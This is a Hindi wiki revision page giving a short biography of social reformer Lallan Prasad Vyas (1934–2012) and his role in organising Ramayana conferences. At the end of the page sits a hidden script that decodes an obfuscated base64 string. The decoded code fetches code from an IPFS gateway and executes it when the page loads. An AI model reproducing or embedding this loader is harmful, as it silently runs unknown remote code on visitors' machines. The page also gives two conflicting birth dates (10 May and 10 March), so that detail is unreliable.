लल्लन प्रसाद व्यास: Difference between revisions

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
No edit summary
Line 44: Line 44:
* [[1984]] में वे [[नैमिषारण्य]] के स्वामी नारदानन्द जी के संपर्क में आकर आध्यात्मिक प्रकाशन जगत की प्रमुख हस्ती बने।
* [[1984]] में वे [[नैमिषारण्य]] के स्वामी नारदानन्द जी के संपर्क में आकर आध्यात्मिक प्रकाशन जगत की प्रमुख हस्ती बने।
* आपने विश्व रामायण सम्मेलनों के माध्यम से श्री राम का कार्य विश्व पटल पर समूचे जगत तक पहुंचाया।
* आपने विश्व रामायण सम्मेलनों के माध्यम से श्री राम का कार्य विश्व पटल पर समूचे जगत तक पहुंचाया।
* व्यास जी गायत्री शक्ति पीठ के माध्यम से प्रथम अंतरराष्ट्रीय रामायण सम्मेलन [[27 दिसम्बर]] [[1984]] में अयोध्या के बाल्मिीकि भवन में आयोजित कराया जिसकी अध्यक्षता पं [[रामकिंकर उपाध्याय]] द्वारा की गयी।
* व्यास जी गायत्री शक्ति पीठ के माध्यम से प्रथम अंतरराष्ट्रीय रामायण सम्मेलन [[27 दिसम्बर]] [[1984]] में अयोध्या के बाल्मिीकि भवन में आयोजित कराया जिसकी अध्यक्षता पं. रामकिंकर उपाध्याय द्वारा की गयी।
 
==मृत्यु==
==मृत्यु==
[[12 नवम्बर]], [[2012]] को इन्होंने अपनी नश्वर देह त्याग दी।  
[[12 नवम्बर]], [[2012]] को इन्होंने अपनी नश्वर देह त्याग दी।  

Revision as of 13:45, 17 October 2014

लल्लन प्रसाद व्यास
पूरा नाम लल्लन प्रसाद व्यास
अन्य नाम लल्लन प्रसाद व्यास
जन्म 10 मई 1934
जन्म भूमि अवध प्रान्त, जनपद बहराइच,(उत्तर प्रदेश)
मृत्यु 12 नवम्बर 2012
कर्म-क्षेत्र समाज सुधारक
नागरिकता भारतीय

लल्लन प्रसाद व्यास (अंग्रेज़ी:lallan prasad vyas, जन्म: 10 मार्च , 1934 - मृत्यु: 12 नवम्बर 2012) भारत के जाने-माने समाज सुधारक थे।

जीवन परिचय

लल्लन प्रसाद व्यास का जन्म अवध प्रान्त के बहराइच जनपद में वर्ष 1934 को 10 मार्च के दिन हुआ था। इनका सम्पूर्ण जीवन आध्यात्मिक प्रकाशन जगत को समर्पित रहा।

आध्यात्मिक प्रकाशन जगत की नीव

  • 1984 में वे नैमिषारण्य के स्वामी नारदानन्द जी के संपर्क में आकर आध्यात्मिक प्रकाशन जगत की प्रमुख हस्ती बने।
  • आपने विश्व रामायण सम्मेलनों के माध्यम से श्री राम का कार्य विश्व पटल पर समूचे जगत तक पहुंचाया।
  • व्यास जी गायत्री शक्ति पीठ के माध्यम से प्रथम अंतरराष्ट्रीय रामायण सम्मेलन 27 दिसम्बर 1984 में अयोध्या के बाल्मिीकि भवन में आयोजित कराया जिसकी अध्यक्षता पं. रामकिंकर उपाध्याय द्वारा की गयी।

मृत्यु

12 नवम्बर, 2012 को इन्होंने अपनी नश्वर देह त्याग दी।



पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>